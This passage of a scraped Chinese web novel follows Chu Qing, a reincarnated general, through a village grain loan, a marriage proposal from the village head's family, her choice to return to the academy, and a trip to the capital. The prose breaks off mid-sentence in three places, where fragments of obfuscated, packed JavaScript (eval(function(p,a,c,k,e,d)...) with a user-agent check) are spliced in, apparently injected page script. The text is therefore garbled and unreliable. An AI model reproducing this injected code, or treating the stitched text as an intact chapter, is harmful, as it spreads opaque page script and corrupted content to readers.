RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苟旦离开,此处的氛围忽然开始有些不对。 成非有话不好意思直说,初暒也不催促,过了好一会儿,才听他小声道,“眠眠,方才推你是我不对,我也知道无论陈家借不借粮都不管你的事,你好心替我收拾烂摊子我还如此对你,只是我当时心里实在气愤,脑子一热就……” 初暒笑道,“你不提,我都忘了这事了。” 她一笑,面容便有了姑娘家独有的娇气,成非耳朵一红,随口问了句,“你带陈家宝骑马,他都浑身是伤,你可有伤着?” 初暒:“我不曾伤着。” 不曾? 成非心里嘀咕起来,他想了一下终于问出自己许久的疑惑,“我们有求于陈家宝,诸事只顺了他心意,可借粮一事终归要让陈富户点头同意才是,倘若初四一早,陈富户仍旧不答应借粮呢?” 初暒想了想,回,“那我便让那算命道士一语成谶。” 一语成谶? 成什么谶? 成非记起那位卖糖葫芦的大伯对初暒说,‘那算命的算出陈家小少爷这年有大劫’。 口中忽然涌现出来的甜味,让他后颈一凉,‘番薯糕里加了黄豆,寻常人吃了会通气,但喜食荤腥油腻之人吃了只会腹痛难忍。’ 要人家无偿送粮食过来,又平白害得人家孩子肚子疼,要是番薯糕里加的不是黄豆而是其他东西呢…… 要是真让算命先生算准陈家宝这个大劫,那陈富户定然会悔恨自己对柏桥村的困境袖手旁观然后殷切送粮过来,以此为儿子积德。 初暒见他许久不说话,便开口告了辞。 她没有瞧见成非的小脸在她转身瞬间变得煞白,从初暒不顾自己的性命救苟家四口于火场那日起,他就觉得这个姑娘可怕,可如今自己亲身经历她视别人的性命于无物时,才知什么叫恐惧。 成非看着那个腰背挺得板正的背影,困惑—— 她……原先好像不是这样的。 21. 交心 初四那日正午,日头高悬。 柏桥村民们在安南庄‘知命’先生的操持下为陈家宝举办了祈福仪式,众人排着队为一个没见过的孩子在一个焚着符纸的火炉前叩首上香,陈富户抹着眼泪感谢苟看财的号召,苟看财则握着陈富户的手感激他的馈赠,彼此都暗自觉得自己占了对方的便宜。 仪式结束后,苟旦按照初暒说的悄悄给了那‘知命’先生一两银子,那老道也没有客气,接过银子后还了他一礼,用手比划着咿咿呀呀的说,“我与你有缘……便多说几句,你本是个寻常之人,可我观你面相又觉得并非如此,想来……是你身旁出现了贵人,跟着那人哪怕沾点光……今生也会有所作为。” 苟旦回忆着自己这些年见过的都是村里、书院那些人,并没有什么新面孔,哪来什么贵人,他对那老道笑了笑又说了一声谢,便告退离开。 那老道士知道那个孩子对自己的话不以为然,也不在意,他惦了惦手中的银两然后在安南庄陈富户家仆的簇拥中掉头回去了。 当天晚上,苟看财就听说陈富户家的小儿子腹痛止住了,整个人活蹦乱跳的,陈富户欢喜的送了那位‘知命’先生一兜子银钱珠宝,还扬言要请他在陈宅常住,不过被那老道拒绝了。 有的柏桥村村民们见了陈富户家为孩子祈福的排场,以为这次筹粮只是他为了积德而发的善心,跟初暒向外借不借粮没什么关系,初家闺女只是运气好碰上了而已。 苟旦多次想向他们解释都被初暒拦住了,事情解决了就行,她实在不想在此时太过张扬,这份低调只苦了成日间隐匿着想对外人炫耀自家有本事的女儿的初家夫妇。 初家自从女儿身体恢复好之后就像有了脊梁骨一般,初大年走路再不畏缩,于嫣红路上碰见熟人也昂扬极了,初明背着扁担进城卖点心时也乐呵的跟一阵风似的,村里人将他们一家的变化看在眼里,一些家中有适龄儿子的妇人都长了心眼,见到他们夫妇的时候亲热极了,言语间都是拐着弯的打听初暒的喜好。 “眠眠身子一好,你们一家的日子也跟着好起来了,这谁看了不说一声你家闺女旺宅啊!我家那个不成器的小子你还记得吧,就缺一个这样的媳妇,眠眠虽说脾气大了点,但那小模样我还是十分满意的,你看能不能找个日子,把孩子们的事情给订下来……” 同村妇人在夸自己闺女,于嫣红心里还在美呢,可是这后几句话直接让她清醒过来,“我为啥要把我活泼可爱的闺女给你家不成器的儿子做媳妇?” “我这不是在跟你客气嘛……” 于嫣红起身送客,“你再这样对我客气,当心我对你不客气。” 那妇人边往出走边嘟囔,“谁家孩子不是个宝啊,那闺女长大了不就是要给别人当媳妇的么,藏在自己家里是再能孵出一个来还是怎么着啊,你们就拖着吧,等你家宝贝眠眠年纪大成老闺女呢,贴着彩礼出来都没人要了……” ‘砰!’ 于嫣红将客人送出去重重关上大门,顿时气不打一处来,可转念一想,孩子大了可不是要出嫁成亲的么。 不过她这心里莫名其妙的不甘心是怎么回事? 于嫣红啐了一口,小声道,“我家眠眠就算是要出嫁成亲,也要选个这世间最好的儿郎!” “咚咚咚。” 被加固了好几层的木门再次被人叩响,于嫣红靠在门板上以为又是哪家来求亲的,一拉开门就喊,“去去去,我们初家还没有嫁……闺女的打算。” 她吼得大声,可在看到门外头站着的夫人时,将口中最后几个字含进了牙缝里,“村长家的?” 听见她的吼骂,史陆香提着大包小包站在门口有些迷茫,“嫣红妹子,是我来的不是时候么?” “没有没有,我方才瞎喊叫呢,快进来吧。” 于嫣红迎着村长家的进了屋,又将家里初明做的点心端了出来,史陆香拦着她,将手里的包裹塞过去,说,“快别忙活了,先把这些东西收拾了吧。” “这是?” “是谢礼呢。” “倒也不必这么客气的。” “要的!”史陆香认真说着,眼眶也泛了红,“我家走水那日亏得眠眠机敏,你们一家子舍命相助,恐怕我们苟家四口如今头七都过完了,我当家的和两个儿子本来也应当过来叩谢,可是近日家里建屋盖舍的实在抽不开身,便由我担此重任了。” 于嫣红推辞说,“快将这些东西拿回去吧,我们邻里多年,您平日又常照应我家,都是该做的,该做的……” 史陆香摇头说,“什么该做不该做,我们沐了你们的恩就该将这恩情放在心上,这么些天了,幸好有大年兄弟过去帮忙,村里人见他卖力,也都跟着使劲儿,我们苟家这才不至于树倒猢狲散,还有村里筹粮一事,若不是眠眠胆大心细撑起了咱们柏桥村门户,我是不信此事能圆满平安度过去的,嫣红妹子,你们夫妇心善命也好,养的两个孩子都如此懂事乖巧,叫我好生羡慕啊。” 于嫣红被捧的差点找不着北,她眉眼都笑着,口中却说,“穷人的孩子早当家么。” 史陆香说完客套话,终于开始正题,她在屋子里寻摸了一圈问,“家里怎的就你一个人?” “明哥进城卖点心了,眠眠贪玩说也想跟去转转,兄妹俩一大早就出去了,我晌午送完串门的邻居还预备去您家帮忙呢。” “我瞧从交完粮那日起,来你家串门的妇人就没有断过,瞧你生养了一个好闺女,门槛都叫人踏烂了吧。” 史陆香在打趣,可于嫣红却笑不出来,她叹了口气,道,“要我说闺女还是不要养的太过乖巧了,免得长大之后人人惦记,自己偏还舍不得给出去。” “这孩子大了,总要成家嘛。” “我心里明白,可是……可是又觉得我眠眠得托付给个好儿郎,可是好儿郎哪是这么容易就遇上的……” “那你觉得我家苟旦如何?” 于嫣红:“?” 史陆香殷切的看着她,那眼睛里闪着的光差点将于嫣红晃晕。 起初,于嫣红还当村长夫人只是提着礼物来感激他们家救命之情的普通串门,直到她开始提起自己生养的好闺女,事情就朝着她不愿意面对的方向发展了。 真是防不胜防! 我居然跟家里有两个半大小子的女人交心! 于嫣红后悔的掐大腿。 见她愣住了,史陆香开始全力出击,“苟旦这孩子也算是你看着长大的,心眼实诚,也爱读书,平常照顾他哥比我们做父母的都细心妥帖,是个会疼人的,我们家虽然遭了难房子都烧没了,可多少还剩了点本钱,盖几间屋子是没问题的,这几日主屋完工后就顺便开始给他们兄弟俩建婚房了,女儿家的嘛还是嫁的近一些好,想她了出门拐个弯就能见到,也不用担心她受婆家欺负,再说你们于我家有恩,我们上赶着心疼还来不及怎么会欺负她,嫣红妹子,你仔细想想是不是这个道理。” 史陆香说的诚恳,于嫣红仔细一想也觉得她说对,但心里还是舍不得,于是她只轻声说,“可我家眠眠年龄还小呢。” 于嫣红没有对她破口大骂,史陆香心中一喜,握住她的手道,“这些都好说,只要你们愿意,我家等多久都心甘情愿呢。” “要不……”于嫣红将手抽出,干笑道,“要不等大年、明哥还有眠眠回来了,我们再商量商量,商量好咱们再说?” 史陆香脸上的笑容一滞,但还是乐呵呵点头,“成!” 几句客套说完,于嫣红也无心再应承她,史陆香见状借口家中还有杂事起来就要走,她一从初家出来,苟看财就贴上去问,“如何?他们愿意同咱们家结亲吗?” 因为藏私己一事,史陆香这几日不耐烦见他,只说一句,“前几家都被赶出来了,她没有直接拒绝我,想来是愿意的。” “哎呀那就好,夫人眼光真是不错,那初家眠眠果真是能担得起事的,我瞧咱家苟旦跟着她筹了几日粮,性子也变得稳重了许多,老话说‘娶妻娶贤不娶色’,可是我瞧苟旦跟我似的是个有福气的,娶来的妻贤也有了,色也有了。” 苟看财说完偷偷瞥了一眼夫人的脸色,他在奉承她,以拉近两人这段时日的嫌隙。 史陆香也确实吃他这套,不由撇嘴笑了起来,“先别急着给你脸上贴金,这事成不成还不一定呢,我看初家夫妇着实是舍不得他们那个宝贝女儿,这几天咱们家该怎么着还怎么着,别太过亲热将人给吓跑了。” 苟看财佯装可惜,道,“要是将我之前存的钱全数留下,咱们家连同两个孩子的婚房一定会盖的更加气派的。” 史陆香闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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主心骨回来了,于嫣红这才将今日村长夫人说的话全数讲给他听,于嫣红边说边看丈夫的反应,于是她瞧见初大年边听嘴上的笑意边减少一分,直到她说到“苟旦这孩子确实不错,咱们两家离得也不远”这句话时,初大年终于没有忍住,‘唔’的一声抿着嘴,不大的两个眼眶里唰的掉下几颗不小的泪珠来。 “怎么还哭上了呢。”于嫣红哭笑不得的将他方才取下的手巾递过去,“还在商量呢,又不是今天就要将眠眠嫁了。” 初大年将手巾捂在脸上,闷声道,“不要说嫁不嫁的,我不爱听。” “不管你爱不爱听,这事谁说都不管用,总要让眠眠点头才行的。” 于嫣红将丈夫攥着的手巾抽走,又重新过了遍水后才端着脸盆出去,在此期间内,初大年一言不发,不知在思忖什么。 而被好几个人等着点头的初暒本人,此刻则和初明卖完点心正走在回家的路上。 初明年龄不大但十分会来事,每回进城登记后都会取几盒点心赠予守城兵士,因而他才能凭着这份人情在夜里城门落锁前进城带回走失的妹妹。 也幸好他的点心口味好,让守城门卫在休息时放松了警惕,初暒在他们的闲谈中知晓,近来不知发生了什么大事,晁都城内戒备森严了许多,就连城外也出现好多股拿着册籍查询问话的小队。 初明上一秒还在问妹妹,也不知道那些小队是做什么的,下一秒兄妹俩就看见身着黑色皂服的小卒从苟看财家出来,似乎是在往自家方向走去。 他们俩相视一眼后撒腿就往回跑,刚跑到门口,就听其中一个小卒站在门外大声寻问,“初家初明、初暒二人是否在此居住?” “是的!” 虽然不知他们为何而来,但初明还是抢在妹妹先头跑到小卒跟前答话。 那两个小卒见人挑着扁担像是刚卖货回来的,心中了然,但还是翻看着册籍走了流程询问,“初明?年腊月二十二,你是否进过晁都城?” 初明在老老实实回话,跟在后头的初暒心口一跳,她忽然想起,重新醒过来后自己私自进城那天是攀在一辆富贵马车上混进去的,并无做过登记,可是那晚出城时,因被几个巡城小吏跟着却是在出城册籍上写过姓名的。 只有出城姓名而无进城记录,该想个什么法子混过去呢…… 她还在想那日蒙骗巡城小吏的话不知对他们俩管不管用时,其中一个人见她一个姑娘家想是怕人,便只身朝她走来,他翻着手中册籍机械般自言自语,道,“初眠眠是吧,酉时进城,亥时出城,核对无误。” 酉时应该是初明第二次进城的时间,可她并没登记过。 这是什么情况? 是谁替她补上了姓名? 完成公务的小卒收了册籍正预备离开,身后忽的传来一道声音—— “两位官大哥,可否容我查看一下您手中的册籍?” 22. 老爹 册籍上的字迹并不是她熟识的。 慕峰青被刺杀之日,有人发现她进了城却并无进城记录,不仅没有举报反而将她的名字补上了。 谁会这么做呢? 初暒想起那辆主人并不咳嗽却满是止咳药味的富贵马车。 她的名字已经暴露,如果那人有所图谋,那么初家便会因为她的存在而随时处于危险之中。 初暒看着屋内因为儿女平安归家重又喜悦起来的初家夫妇,心中开始悔恨。 她又冲动了。 前世慕峰青总说,“你会打仗不假,可风头太盛早晚会成为别人眼中钉肉中刺,你生死事小,若是因为你一时冲动得罪了某位大人物,便会连累整个慕家为你陪葬。” 她那时年轻气盛,一门心思想要证明女子也可在军中争得一席之地,因此处处张扬、事事跋扈,也曾仗着敏捷狡猾招惹了不少外敌,害得许多同袍因为被敌报复丢了性命。 重来这一世,需得改过这个毛病才不至于被人拿捏住把柄、枉害旁人的命,但无论身份暴露与否,她此生注定是要去报仇的。 只是……初家何其无辜。 见家人们一一回来,于嫣红想了很久还是不知道该怎么开口与他们诉说苟家求亲的事情。 犹豫再三,她还是觉得女儿到底是有主见的,话都说出来才好让她有个决策,于是开口问,“今日村长家那位婶婶来家里提亲了,眠眠,你对苟家那个二小子是个什么想法,可愿意嫁给他们家做媳妇?” 一旁的初明听到母亲这话先是一愣,然后立刻偏头看向妹妹。 初暒脑袋里还在思考怎样才能设法离开这里,让初家与自己脱离关系,她此时的神情在初明看来就是满满的难过、挣扎与不舍。 等初暒回过神来就听兄长焦急道,“娘,眠眠还小呢,若真在这个年龄嫁了人,那她一生就只能围着灶台,在夫君与孩子之间打转了!” 他说完,屋内便安静下来。 于嫣红道,“明哥,你莫要着急,不是立马就要将眠眠嫁了,这不咱们一家还在商量么,只是近日来家里提亲的妇人太多了,她们家那些小子,我瞧只有苟旦这孩子是个踏实稳重的,但他再踏实稳重,只要眠眠不愿意,爹娘也是无论如何不会同意的。” 一直没有吭声的初大年,沉声道,“前些年眠眠因为身子不好才从安南书院退了学,如今病体已经痊愈,也该回去读书了。” 读书? 去安南书院读书。 初暒怔了片刻随后也觉得,这安南书院或许是个好去处。 初大年在愿意与不愿中又加了一个选择,于嫣红终于在此时知晓了丈夫的打算,可女子读了书之后仍是要嫁人的,这不过是时间早晚的问题。 苟家是户好人家,但她作为母亲,即不希望女儿错过好姻缘,又不想让她按照别人的希冀活着。 不过还是那句话,无论如何,只有眠眠高兴就成。 于是,于嫣红问她,“闺女,你是要与苟家定亲还是要去安南书院读书?” 屋内的六双眼睛齐齐望着自己,初暒在他们的目光中坚定道,“我要去读书。” 这句话说出口,初暒自己也有些恍惚了。 八岁之前,她被母亲养在身边,整日都困在一方狭小宅院之中,哪怕日光再亮,躺在庭院当中也只能看到四四方方的一块天空。 那时,她便以为这世间就只有那块天空一般大小。 可母亲却靠在门槛,笑着对她说,“外头广阔的很,等你能从这里飞出去的时候就知道了。” “我又不是鸟,哪来翅膀去飞。” 她先这么问了,所以母亲告诉她什么才是人的翅膀。 隐约记得大概是两三岁的时候,母亲将一把古琴、一套棋子、一支毛笔、一副书画摆在她面前问,“喜欢哪个?” 她没听懂,以为是自己喜欢哪个就只学哪个,于是回,“喜欢下棋。” 母亲又问,“还有呢?” 她答,“写字也行。” “还有呢?” “识字了才能写吧。” “还有呢?” “弹琴吧。” 她将喜好排了个序,于是母亲按照她喜好的顺序教她练习。 不被任何人记起的那段日子她们母女俩过的很充实,就只是她不喜读书被母亲胖揍的时候有些痛苦。 母亲是个围棋好手,但是她在六岁之后大多时候就能赢她半子以上了,她看母亲那副惊喜但又不甘心的神情不像演的,因而越发得意,常常用对弈的输赢来要挟母亲让她再少读一本书,但是在这件事上她从来都没有成功过。 因为她不敢对母亲动手,可是母亲敢揍她。 她那会儿不爱读书,总觉得人们都有自己活法,凭什么书里说的就一定是对的。 母亲教她:劝君更尽一杯酒,西出阳关无故人。 她不服道:莫愁前路无知己,天下谁人不识君。 母亲劝她:近水楼台先得月。 她再回说:兔子不吃窝边草。 母亲手掌都举起来了:书到用时方恨少。 她还在:百无一用是书生。 ‘啪’的一声。 手掌亲吻脸颊,还留下一片殷红。 母亲平静问:粉身碎骨浑不怕? 她终于含着泪视死如归答:要留清白在人间! 初明见妹妹嘴角扬着,眼睛里都是笑意,不由问她,“眠眠,你笑什么呢怎么这般高兴? 初暒醒过神来,笑道,“我要去上学了。” “嗯,哥也为你高兴。” “可是哥,咱家里有余钱供我上学吗?” “你怎么一点也不记得了?”初明笑笑,向她解释,“在安南书院读书,每个学生入学时只交部分学费,要是觉得先生教得好,不论什么时候只要把学费交齐就成,如果觉得先生教的不好,也可以随时退学离开,我听说有的学生离开书院十几年了,才会回来补交学费呢,你前些年入学时已经交了一部分了,这回重新去书院,剩下的钱家里慢慢攒一定是够交得。” “那你为何不与我一同去书院读书?” “哥上过书院呀,还学了点算账的本事,现今你兄长会做点心的名声已经传出去了,贸然停业,恐怕会让那些个馋嘴哭上好一阵呢。” 他在开玩笑,以此让妹妹不要为自己担心,可初暒将他的话放在了心上,“哥,有朝一日,你的手艺一定会众所周知。” 初明抬手揉了揉妹妹的头发,“那便多谢你吉言啦。” 吃过晚饭,初明捧着碗去洗,于嫣红收拾完桌子也去外头帮忙,屋内只剩下初大年与初暒两人。 过了年,一日比一日暖和,但是天色还是跟冬季一样黑的早。 桌上烛火忽明忽暗的闪着,烛芯忙忙碌碌的,可是坐着的两人不仅不说话,就连动弹一下也像挣扎了很久似的。 初暒前世做梦都想跟爹坐在一处吃顿饭,可从军之后到冤死之前连他的影子都没有见过,今生倒有幸天天都能和初老爹坐在一起吃饭,但桌上忽然只剩下他们两个,初暒怎么坐都觉得别扭。 初大年也有些局促,他抬手背蹭了蹭鼻头又用手掌搓了搓大腿,磨蹭了好一会儿才说,“眠眠,老爹带你去个地方。” 他们要去的地方离初家院子不远,提着灯笼走估摸三分之一刻就到了,初大年走到一间小茅草屋前从怀里掏出钥匙,递给初暒,笑道,“到你的地盘了,打开看看罢。” “好。” 虽然不解,但初暒还是乖乖开锁推门进去。 初大年将屋内烛台上引了火,初暒这才看清,里头竟是一间书房。 她想起初明曾说‘爹为你寻了一处安静屋子,专做书房供你读书习字’,想来就是这里了。 书桌看着有些粗糙,但是桌面木板磨得很光滑,大约是老爹自己用木头做的。 “自你被马儿踏伤后醒来就没有来过此处,想你可能是不记得这里了,于是老爹再带你来瞧瞧。” 初暒拿起桌上摆的一本没有书名的书册翻看,发现这竟是一本兵法。 “从书院 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“你娘与你这个年纪一般时爹就认识她了,那个时候老爹就知晓女子在这世道上活得艰难,知晓女子无论生在什么样的人家都挣脱不开任人掌控的命运,读书能明智,能让你即使足不出户也可见识这世间广阔,即使日子过得艰难,也能叫你从容平静的对抗人生苦楚,爹不愿看到你像寻常女子一般围着灶台,在夫君与孩子之间打转,又担忧你错过良婿余生辛苦,更怕你读过书见过世间广阔后仍困在一方狭小宅院中时会更加磋磨,故而爹擅自提出送你回书院读书,还不知如此行事,眠眠是否会怪罪老爹,怪……老爹不是也会如寻常父亲一样擅长逼迫……” “总算知道我娘为何愿意嫁给你了。” 女儿这话倒让初大年呆住了。 “连为别人好都觉得是逼迫,老爹心肠若是坏的,那这世上就没有好人了。”初暒看着父亲,笑得乖巧,“能再去读书,眠眠感激高兴还来不及呢。” 因为被女儿理解,所以倍感贴心的五大三粗、膀大腰圆的中年汉子抹着眼泪欣慰的走了,初暒靠在门边看着父亲有些佝偻的背影轻声叹了口气。 作为初暒,她是被父母、兄长好好爱着的。 可她真的是初暒吗。 月色明朗,光芒透过木窗洒在桌上那本没有名目的兵法书上。 借着灯台烛火,她坐下开始仔细翻阅。 前世从军时兵书虽看的不少,但最常读的还是老道士诓她买回来的那部麻沙本,只不过读归读,她从未按照书上教的方法打过仗。 从踏上战场的第一天开始,她就知道战争,最是变幻莫测,任何书籍、条例都不可能对它做出预测。 可是慕峰青不信。 他总认为世间万事总有捷径,少时仗着父母宠溺在晁都横行霸道,失手伤了父亲同僚之女性命,为了避祸被送进军营,不仅没有遭受律法惩罚反而混成了顶头上司跟前的红人,从军后为了出人头地,抢了她屡战屡胜的军功一步一步混成了如今的大将军,平日为了装模作样曾派人搜罗了市面上所有的兵法册籍,还扬言:照本宣科,只要照的本够多,怎么着都能宣出花样来。 可是那些书,他找来后就再也没有读过。 一次在他错误的指挥中狼狈撤离时,为了不让北漠各部缴获这些兵书,他下令将其全部烧毁。 灼灼火焰、滚滚黑烟,反将他们的行踪暴露无遗。 思及至此,初暒还是没有忍住低骂一句—— “蠢货。” 手上这本书她原先在那堆书册里见过,也不以为然过。 可不知为何…… 此刻越读,对这些文字的记忆就越深刻,还未翻过书页,她的脑海中就已然浮现出下一页的对战内容。 一本书缓缓翻看完,书中所有就已铭记于心,好似这书被自己读过好多遍似的。 初暒起身从木架上抱出一沓书页,仔细翻阅完才发现,这些书确实曾被‘自己’读过好多遍,且经再次浏览之后更加的印象深刻。 她看着满桌杂乱的书稿,想起初见苟圣时脑袋里忽然涌现出的不属于她的童年玩伴们的声音和画面。 似乎就是从那个时候起,她们的记忆开始融合了。 “我们不是两个,是一个,你就是我,我也是你。” 烛火晃动,她的影子在月光与烛光中变得更加清晰。 初暒用指尖轻抚木桌上自己的轮廓,呢喃,“我们不是两个,是一个,我……就是初暒。” 23. 面摊 扣上木架上最后一张书卷,外头的鸡鸣与狗叫声骤然响起。 初暒抬头才发现,外头天光大亮,桌上灯烛也不知何时已经熄灭,滑落的蜡油凝固在书页前一寸处,她起身将满桌的书稿收拾妥帖,又把残缺的烛台清理干净,刚拉开门,就瞧见初明远远朝此处跑来。 “眠眠,快回家洗洗,吃过早饭,哥带你进城买东西!” “要买什么?” 初暒一边问他一边出来将门合上。 “你明日就要去书院,自然要准备些笔墨砚台、书箱纸张了。” “这些我瞧木屋里都有呢。” 她说着,就要转身回去拿,却被初明拦住,“哎哎,屋里那些等你回来还能使上,去外面读书不比在家里,什么都能凑活,你许久未见那些同窗,学问恐怕会落他们一截但是诸般器具咱们可不能落了下风。” 初暒笑笑,“我是专去读书的,旁的并不在意。” “你不在意可是有人在意,钱你别担心,陈富户给咱老爹涨了月银,我卖点心也存了一些,银子么,不给你花给谁花。” 他说完,拉着初暒就往家走。 初大年一早便上工去了,家中只有于嫣红在厅里做女红。 见女儿回来,她连忙停下手中的针线活迎了过来,嗔道,“瞧瞧,你一读起书来就忘了闭眼睡觉,昨儿又是一夜没睡吧。” 初暒轻轻点头,初明将竹筷递给母亲,道,“眠眠自幼就爱读书,若是静不下心来、不专注她怎能养成如今这幅沉着稳重的性子。” “再喜爱也得爱护自己的身子呢,你马上就要离家去安南庄了,爹娘还有兄长不在你身边,要好好照顾自己,切记凡事多留个心眼……” 借着早饭,于嫣红对女儿交待了许多,饶是好脾气的初明都有些不耐烦了,可是初暒却从头到尾认真仔细地听完母亲讲的每一句话。 她想记住这些叮嘱与温情。 出门前,初明将要买的东西全部列了张单子,直到晌午,他才念着单子核对完自己手上的物件,“眠眠,差不多都齐了。” 刚过完年,晁都城里的年味还没散去,到处都热热闹闹的。 初暒跟着初明在城里各家商铺四处磨价转悠,初明在货架上挑选,初暒却在打量晁都城中街面商铺的位置和装裱。 “眠眠?” 没有听到妹妹答话,初明抱着大包小包回身又问,“走了许久,是不是没有力气了?” 这段日子初暒一直在适应这幅身体,现下她的病体已然痊愈,身上各处伤痕也算是见好,走这点路于她来说并不困难,不过她方才无意在街边看见一处地段虽然偏僻但是朝向大小都十分不错的店铺在招租,于是答,“嗯,是有些累了。” 她言罢,初明立即四下张望,他环顾周围发现前面不远处有一家看着还不错的小面摊,便指过去说,“那哥带你去那儿吃碗面吧。” 正是饭点,小面摊支起来的三张四方桌上摆满了来不及收回的面碗,初明在两个客人撂下筷子前就守在他们身旁,等这俩人推碗起身后立刻招呼妹妹过来坐。 眼尖的面摊老板娘见又有新客,扬着笑脸直直凑了过来,“二位客官好啊,我这小摊阳春面、酸汤面、刀削面面面俱全,您二位吃点什么?” 初明:“来碗阳春面吧,眠眠你呢?” “同你一样的。” “好嘞,两碗阳春面!” 老板娘回头高声向炉边煮面的丈夫喊叫,听见他答完话才重又打量这对样貌不俗的年轻男女,“我瞧你们置办了这好些物件,您二位可是新婚的小夫妻?” 初暒抿嘴笑笑没有说话,初明却连忙摆手摇头,“不不不,这是我妹妹,亲生妹妹,她明日就要去书院读书了,我来给她买些上学要用的东西。” “嗨呀这会子才发现你们眉眼是有些像的,是我这婆子有眼无珠了。”老板娘说着在摊子上寻了茶壶与他们添茶,“这可是从望江楼换回来的茶水,全当我给二位赔罪了,别的客人想喝我都不给他倒呢。” 初明虽说常在城里做生意,可晁都城里能叫得出名号的大酒楼他平日连大门口都不敢路过,此时听这老板娘这样说,只知晓这茶水珍贵,却并不清楚那望江楼是个什么地方。 早春的午间还是有些寒意,桌上清茶氤氲的水汽徐徐升起,光是看着就让人倍觉温暖,初暒不是会品茶的人,前世的从军生涯也让她养成有什么便喝什么的性子,虽说不懂茶,但眼前这散着香气的茶水还是沁了她的心脾。 她将茶杯靠近鼻腔轻嗅,赞叹道,“老板娘,您路子真广,竟将生意做到了望江楼。” 将面碗依次捧过来的老板娘哈哈一笑,“咱们小老百姓哪来的路子,我这小摊能撑下去多亏了晁都城里那位谪仙似的人儿,那人生的漂亮也就罢了,偏偏还有才华,就是因他在望江楼以诗会友,引来了无数能人学子来晁游学切磋,诗会不限年龄、男女、有无官职,只要识字会作诗谁人都可踏入望江楼旁听,一些贫寒学子囊中羞涩,散了会便结伴来我这里填肚子,那茶叶就是连面钱都付不起的学生用望江楼里泡过的茶叶晒干后抵的。” “噗……”初明口中的茶水刚吞了一半立刻喷了出来,他咳了一声,惊讶问,“合着这茶是别人喝过的呀!” “那有什么,喝过又不是啃过,若不是他们,咱几辈子能品到望江楼的茶水,瞧,你这妹妹倒是个不拘小节的丫头,她将来准能成大事呢。” 初明偏头看见妹妹已经仰头将杯中茶水一饮而尽开始吃面了,又听她含含糊糊说,“我还没见过谪仙般的人儿呢。” “我长这么大,也只瞧见过两个那般好看的人。”老板娘不知想起什么,一张老脸上竟也有些泛红,“那日天色渐暗,我送完食客正欲收摊时,抬眼竟瞧见暮色中有位挺拔俊逸、风度翩翩的蓝衣男子踏风而过,恍惚间还当那是从天上下来的仙人呢,等他走远许久都没有缓过神来,过了几天才知晓,那人竟是镇守西南方宣威将军的小孙子齐煴玥。” 这名字初明记得自己在村长家吃饭时曾听苟旦提过,所以并不觉新鲜,于是他问,“那另一位又是谁啊?” 他话问出口,却忽的见老板娘脸色一变,她慌慌张张提起茶壶,临走时想了想还是低头小声道,“我在这晁都城也算活了大半辈子了,行行色色的人遇得也多,今日见你们面善便多言了几句,也是我嘴快没个把门的,您二位当没听见算了。” 这妇人神情倒让初暒来了兴趣,她挑眉激将,“该不会是您想藏私,不愿意叫我知晓那般好看的人的名号,这世上之事可说不准,您且悄悄告知于我,万一我与那人有缘,往后我俩若是事成,我算您半个媒人……” 她这不正经的腔调逗得初明抿嘴直笑,却惊得那老板娘瞪着眼睛不知该怎么接话。 “嘿!我还当你这丫头是个稳重的,怎的也跟个半大的臭小子似的不知天高地厚。”她抬眼四处张望了一圈才用胳膊肘拄着桌子凑到两人面前低声道,“我瞧你们是外乡的又还都是个孩子这才好言提醒,在晁都城里住了许多年的人都知晓,若是将城中男子的相貌排个先后,望江楼的齐煴玥也只不过是个次名,排在头名的那位才真正是让人见了都忘记喘气的天上仙君,这可不是婆子我阎王殿里开染房妥妥的色鬼,实在是他一出生就因为那副好皮囊被先皇宠爱,虽不是皇子排场却比皇子还大,纵使先皇已经仙逝,整个晁都城里也无人敢在他面前放肆,前些年他乘轿外出,车厢幕帘无意被轻风吹开一角,一个跪在路边的男子趁机抬头得以窥见他的真容,竟垂涎的惊出声来,不出片刻,那男子便被从八面飞出的护卫扛着带走,当天夜里就有人看见他被剜了双目、拔了舌头疯疯癫癫的在街上蹦跶呢,可是天一亮这人就像蒸发了似的,再也不见了。” 噔噔噔…… 老板娘说完才听见这动静,她刚一抬眼,就看见女娃的哥哥由于惊吓握着筷子的右手不受控制的敲打着碗边,她笑问,“哎呦您这是怎么的呢。” 初明抖着手搁下筷子,佯装镇定,“青天白日的您何故吓唬我们。” “您被我的实话吓着了?” “什么实话!您说自己也见过他,可您现在不是还好端端在这儿开面摊子么。” “那日风吹帘角,见着那相貌的人不在少数,可大多都只怔愣在原地,那幽王再怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一边却痛心怒吼,“君子之交淡如水,玉衍君游学多年从不参与齐家治军之事,今时回晁举办不设门槛的诗会不过是为了将自己的一身才学倾囊相授于有志之士,如此博施济众的善举不知为多少贫寒学子所感念,又何辱之有?尔等受人挑唆,前来无理闹事,才是有辱斯文、不知好歹!” 一边回呛,“自诩君子却与奸王狼狈为奸,莫不是齐家趁帝王年幼在边疆起了什么不该有的心思,我观此番诗会并非交流才学,而是预备大揽有志之士为另起炉灶提前准备吧!” 一方切齿的看着对面那些人有些哑然,玉衍君初回晁都那日确有不少百姓亲眼瞧见他从幽王车辇中悠然下来,这一把柄被对方死死捏住让他们不知该如何据理还口。 为何偏偏是他! 文人雅士、朝中清流皆避之不及的幽王! 为首的书生心中正是恨铁不成钢之际,对面那群人嘴里却还在叽咕什么齐老将军廉颇老矣,只剩下两个稚子一个比一个不成器…… 将士们在前线拿命杀敌,这群在他们庇护下的草包却如此诋毁将将军亲属,真真士可忍孰不可忍! 砰的一声,碗碟从某位书生手中飞向对面那位正咄咄逼人那人嘴边,惨叫声音过后又是一阵拳脚相向。 围观人群中有位眉清目秀的大哥啧了一声,“每隔几日就要闹这么一出,这望江楼老板可真会做生意。” 初暒不解,问道,“每隔几日就打得热火朝天,不说外客不敢上门,就是损坏的桌椅板凳都要换上几批了,这望江楼生意怎么会好呢?” 